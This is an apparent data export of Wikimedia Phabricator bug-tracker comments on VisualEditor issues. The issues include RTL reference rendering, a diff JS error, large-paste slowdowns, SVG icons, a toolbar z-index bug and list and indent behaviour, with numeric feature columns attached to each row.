+208597,VisualEditor: Non-contiguous rendering of references in LTR text in RTL mode,Merged; closing.,,,1369783170,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ix6ll4i6ezero6wug475,task_subcomment,,True,c1,1,True,,,-5,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+208593,VisualEditor: Non-contiguous rendering of references in LTR text in RTL mode,Assigning to Moriel then. :-),,,1367887908,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ix6ll4i6ezero6wug475,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+208589,VisualEditor: Non-contiguous rendering of references in LTR text in RTL mode,"And it was Roan who suggested, and Krinkle who participating in the attempt of helping me understand.. THANKS for that!",,,1367883167,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-ix6ll4i6ezero6wug475,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+208583,VisualEditor: Non-contiguous rendering of references in LTR text in RTL mode,Related URL: https://gerrit.wikimedia.org/r/62540 (Gerrit Change I319285d23a4f0a0522cc793f1a6661cda31a1ebf),,,1367882987,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ix6ll4i6ezero6wug475,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+208578,VisualEditor: Non-contiguous rendering of references in LTR text in RTL mode,"This is a CSS fix in the Cite extension. https://gerrit.wikimedia.org/r/#/c/61634/
+
+As Krinkle suggested, I'm fixing a small detail again (position 'top') but updating the Cite extension should fix this problem. I'll link the new correction to this bug and submit the fix shortly.",,,1367881902,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-ix6ll4i6ezero6wug475,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+50181,VisualEditor: JS error on (null) diffing [[BMW 801]] but only if debug=false,"Make a null edit (space and backspace), then trigger a diff. JS error thrown in Firefox but not Chrome:
+
+Error: toDomElements() failed to return an array when converting element of type alienBlock @ http://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cicons-raster%7Cext.visualEditor.viewPageTarget.icons-raster%7Crangy%7Cunicodejs.wordbreak&skin=vector&version=20130506T190432Z&*:130
+
+However, for debug=true, no such error occurs. Is this just going to be a transient RL issue?
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1367874000,1367972703.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-bdvf6u5xglbisa5hqfhd,task_description,resolved,True,c1,1,True,False,True,-8,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,1,1,1,0,1,0,0,0
+208237,VisualEditor: JS error on (null) diffing [[BMW 801]] but only if debug=false,*** Bug 48193 has been marked as a duplicate of this bug. ***,,,1368023940,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-bdvf6u5xglbisa5hqfhd,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+208231,VisualEditor: JS error on (null) diffing [[BMW 801]] but only if debug=false,"This has been fixed for me in FF since yesterday evening. From chatting with Roan last night I think it was a deployment / ResourceLoader issue.
+
+Resolving as fixed.",,,1367972703,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-bdvf6u5xglbisa5hqfhd,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+208225,VisualEditor: JS error on (null) diffing [[BMW 801]] but only if debug=false,Happens in Chromium 26.0.1410.43 too.,,,1367874746,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-bdvf6u5xglbisa5hqfhd,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+50172,VisualEditor: Throttle or otherwise handle large copy-paste input,"I watched a user using Chrome paste a 32400-character buffer of special characters into VE.  Chrome became unresponsive. 
+
+This user then did that in multiple tabs and the entire computer became unresponsive.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1367867040,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-o742mr6hjh6wsdblaanj,task_description,open,True,c1,1,False,False,,-8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+233159,VisualEditor: Throttle or otherwise handle large copy-paste input,Marking as an enhancement with normal priority (nice-to-have).,,,1367870640,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o742mr6hjh6wsdblaanj,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+50148,VisualEditor: Serve interface components as SVGs over PNGs to any browser which supports it,"(Provided we are happy with the rendering quality)
+
+Currently we only serve SVGs when window.devicePixelRatio > 1.
+
+On suggested test for SVG support is:
+
+document.createElementNS && document.createElementNS( 'http://www.w3.org/2000/svg', 'svg' ).createSVGRect
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1367837220,1368135541.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-pgpcd7rvhd6x44lw4xo5,task_description,resolved,True,c1,1,True,False,True,-8,,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+231683,VisualEditor: Serve interface components as SVGs over PNGs to any browser which supports it,Merged for wmf4.,,,1368135541,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pgpcd7rvhd6x44lw4xo5,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+231677,VisualEditor: Serve interface components as SVGs over PNGs to any browser which supports it,Related URL: https://gerrit.wikimedia.org/r/62959 (Gerrit Change Iafe8cd290fb195369776f51a96b6de4a51577b89),,,1368095219,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pgpcd7rvhd6x44lw4xo5,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+231675,VisualEditor: Serve interface components as SVGs over PNGs to any browser which supports it,Let's do this. Trevor says we're happy with the rendering quality and the device load for desktop; I suggest keeping the PNGs around for mobile clients.,,,1368050588,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pgpcd7rvhd6x44lw4xo5,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+50078,VisualEditor: Vector drop down menu hidden behind toolbar,"As the title says: when the VisualEditor is active, the drop down menu (p-caction) under Vector skin is dropped down behind the VE toolbar, making it impossible to click on. May be a simple z-index issue.",Medium,50.0,1367661720,1368205844.0,PHID-USER-t4cbxxxhiswoecybwxy2,False,,False,PHID-TASK-6kpwltejynowd5ns5iud,task_description,resolved,True,c1,1,False,False,True,-9,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+227626,VisualEditor: Vector drop down menu hidden behind toolbar,Merged; thanks Kaldari! Will go out in wmf4.,,,1368205844,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6kpwltejynowd5ns5iud,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+227622,VisualEditor: Vector drop down menu hidden behind toolbar,Assigning given that Kaldari's fixing it in core for us. :-),,,1368150497,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6kpwltejynowd5ns5iud,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+227617,VisualEditor: Vector drop down menu hidden behind toolbar,Related URL: https://gerrit.wikimedia.org/r/63099 (Gerrit Change I61daea50209d040f7e0f71207a4e90998c15083f),,,1368146651,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6kpwltejynowd5ns5iud,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+227611,VisualEditor: Vector drop down menu hidden behind toolbar,"Unfortunately, this was caused by the fix to bug 37158.
+https://gerrit.wikimedia.org/r/#/c/31288",,,1368144377,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-6kpwltejynowd5ns5iud,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+227606,VisualEditor: Vector drop down menu hidden behind toolbar,Also brought up here: https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=553770320#Notifications_gadget.27s_z-index,,,1367845014,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6kpwltejynowd5ns5iud,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+227602,VisualEditor: Vector drop down menu hidden behind toolbar,"This also holds true for Echo, which also has z-index -100.",,,1367842628,,PHID-USER-t4cbxxxhiswoecybwxy2,False,,,PHID-TASK-6kpwltejynowd5ns5iud,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+50070,VisualEditor: Table captions were alienated so looked wrong and couldn't be edited,"Expected layout
+
+I included two screenshots, illustrating the problem.
+
+Apple Safari 6, Mountain Lion
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://en.wikipedia.org/wiki/Meurchin
+
+**Attached**: {F10895}",Medium,50.0,1367650560,1367681845.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-hg7swbc4ekjgxojfr5bz,task_description,resolved,True,c1,1,True,False,True,-9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0
+227097,VisualEditor: Table captions were alienated so looked wrong and couldn't be edited,This is fixed in master (see gerrit 60940) and will be deployed to the English Wikipedia on Monday as part of the wmf3 roll-out. You can see how it should work in a test page on MediaWiki.org: https://www.mediawiki.org/wiki/VisualEditor:TableCaptionTest,,,1367681845,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hg7swbc4ekjgxojfr5bz,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+227093,VisualEditor: Table captions were alienated so looked wrong and couldn't be edited,"Created attachment 12258
+Content edit result
+
+**Attached**: {F10896}",,,1367650645,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-hg7swbc4ekjgxojfr5bz,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+50051,VisualEditor: Newly-created list items are deliberately not merged with nearby lists - change this?,"In Firefox 20.0.1:
+
+1. Edit a page that has a bulleted list.
+2. Place the cursor on the first bullet item.
+3. Click the ""Bullet List"" button. The first bullet item loses its bullet. (Correct.)
+4. Click the ""Bullet List"" button a second time. The first bullet comes back (correct), but there is now a blank line displayed below it.
+
+Similarly, if you remove & add a bullet in the middle of the list, you get blank lines above AND below the item.
+
+Similarly, if you do this with a numbered list, the blank line breaks the numbering: the list items below the blank line start over from ""1"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1367598960,,PHID-USER-o5tv5cyrple4fn5xqopm,False,,False,PHID-TASK-yr7732vg2ebd5ndyalb6,task_description,open,True,c1,1,False,False,,-9,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+225763,VisualEditor: Newly-created list items are deliberately not merged with nearby lists - change this?,"FWIW, I also just checked OpenOffice.org, and they also simply remove and restore the bullet, keeping a single bulleted list.",,,1368137966,,PHID-USER-o5tv5cyrple4fn5xqopm,False,,,PHID-TASK-yr7732vg2ebd5ndyalb6,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0
+225754,VisualEditor: Newly-created list items are deliberately not merged with nearby lists - change this?,"(In reply to comment #2)
+> Interesting point. I think nontechnical end-users will have a different
+> perspective, however. Both Microsoft Word and Google Docs will produce a
+> single bulleted list as the result. Your users are going to be accustomed to
+> that behavior.
+
+Possibly.
+
+> When an end-user clicks the button the first time, and the bullet disappears,
+> they won't be thinking that ""a bulleted list has become two lists."" They'll
+> simply think ""a bullet symbol has been removed.""
+
+Not two lists - they'll have a paragraph and a list.
+
+I'll make sure we do some real-world tests with non-technical people to come to a decision on this.",,,1368135721,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yr7732vg2ebd5ndyalb6,task_subcomment,,True,c1,1,True,,,-8,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+225746,VisualEditor: Newly-created list items are deliberately not merged with nearby lists - change this?,"Interesting point. I think nontechnical end-users will have a different perspective, however. Both Microsoft Word and Google Docs will produce a single bulleted list as the result. Your users are going to be accustomed to that behavior.
+
+When an end-user clicks the button the first time, and the bullet disappears, they won't be thinking that ""a bulleted list has become two lists."" They'll simply think ""a bullet symbol has been removed.""",,,1368130302,,PHID-USER-o5tv5cyrple4fn5xqopm,False,,,PHID-TASK-yr7732vg2ebd5ndyalb6,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+225743,VisualEditor: Newly-created list items are deliberately not merged with nearby lists - change this?,"(In reply to comment #0)
+> In Firefox 20.0.1:
+> 
+> 1. Edit a page that has a bulleted list.
+> 2. Place the cursor on the first bullet item.
+> 3. Click the ""Bullet List"" button. The first bullet item loses its bullet.
+> (Correct.)
+> 4. Click the ""Bullet List"" button a second time. The first bullet comes back
+> (correct), but there is now a blank line displayed below it.
+> 
+> Similarly, if you remove & add a bullet in the middle of the list, you get
+> blank lines above AND below the item.
+> 
+> Similarly, if you do this with a numbered list, the blank line breaks the
+> numbering: the list items below the blank line start over from ""1"".
+
+Yes, because otherwise we'd be unexpectedly merging a <p> with a following <ul> (or whatever). You can always actively choose to merge the lists from this position by deleting the blank line between the lists (technically, this is a slug).
+
+This is the deliberately-chosen behaviour for this. I take it you'd expect lists to instead automatically merge, and you'd have to split them rather than the other way around? X followed by X is not generally a direct reverse step (that's what undo is for), but you expected it to work that way around?",,,1368127673,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yr7732vg2ebd5ndyalb6,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+50010,VisualEditor: Indent buttons should be used for in-/out-denting paragraphs as well as lists.,"The indent and outdent buttons are always grayed out.
+
+(reported at http://de.wikipedia.org/wiki/Wikipedia:Technik/Text/Edit/VisualEditor/Alpha2013-04#Link_einbinden_.2F_Einzug)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1367512920,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,False,PHID-TASK-hvvrpcxmtlfovm73otnw,task_description,open,True,c1,1,True,False,,-9,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+1182848,VisualEditor: Indent buttons should be used for in-/out-denting paragraphs as well as lists.,"Hi,
+
+is this task still active? Indenting (of text) is a much requested feature on my companies wiki.",,,1542962428,,PHID-USER-a5b43na73s7s5vqzeaur,False,,,PHID-TASK-hvvrpcxmtlfovm73otnw,task_subcomment,,True,c1,3,False,,,281,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+222989,VisualEditor: Indent buttons should be used for in-/out-denting paragraphs as well as lists.,"(In reply to Spinningspark from comment #6)
+
+Sorry, posted this in wrong place.  It was intended for bug 59849",,,1412132162,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-hvvrpcxmtlfovm73otnw,task_subcomment,,True,c1,3,False,,,65,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+222985,VisualEditor: Indent buttons should be used for in-/out-denting paragraphs as well as lists.,"I don't know if this is related, or whether it should be a new bug.  In this edit:
+
+https://en.wikipedia.org/w/index.php?title=User:Spinningspark/Work_in_progress/Mobility_analogy&diff=626824709&oldid=626823704
+
+VE adds a number of spurious indents.  The intended edit was to swap over the order of two blocks of text containing math markup.  Very frustrating that the problem could not even be fixed from within VE since indenting does not function in general.",,,1412131984,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-hvvrpcxmtlfovm73otnw,task_subcomment,,True,c1,3,False,,,65,,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+222980,VisualEditor: Indent buttons should be used for in-/out-denting paragraphs as well as lists.,*** Bug 51530 has been marked as a duplicate of this bug. ***,,,1395359458,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hvvrpcxmtlfovm73otnw,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+222974,VisualEditor: Indent buttons should be used for in-/out-denting paragraphs as well as lists.,"(In reply to comment #3)
+> Would this also allow the tab key to be used for paragraph indenting (like
+> for lists), or should that be filed as a separate bug report?
+
+That'd be the same (the tab and shift-tab keys are bonded to these buttons), so no need for a separate bug report.",,,1375765565,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hvvrpcxmtlfovm73otnw,task_subcomment,,True,c1,3,True,,,5,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1
+222966,VisualEditor: Indent buttons should be used for in-/out-denting paragraphs as well as lists.,"**mcdevitd** wrote:
+
+Would this also allow the tab key to be used for paragraph indenting (like for lists), or should that be filed as a separate bug report?",,,1375725373,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hvvrpcxmtlfovm73otnw,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0
+222956,VisualEditor: Indent buttons should be used for in-/out-denting paragraphs as well as lists.,"This would be lovely (as a nice-to-have) to get done for the beta.
+
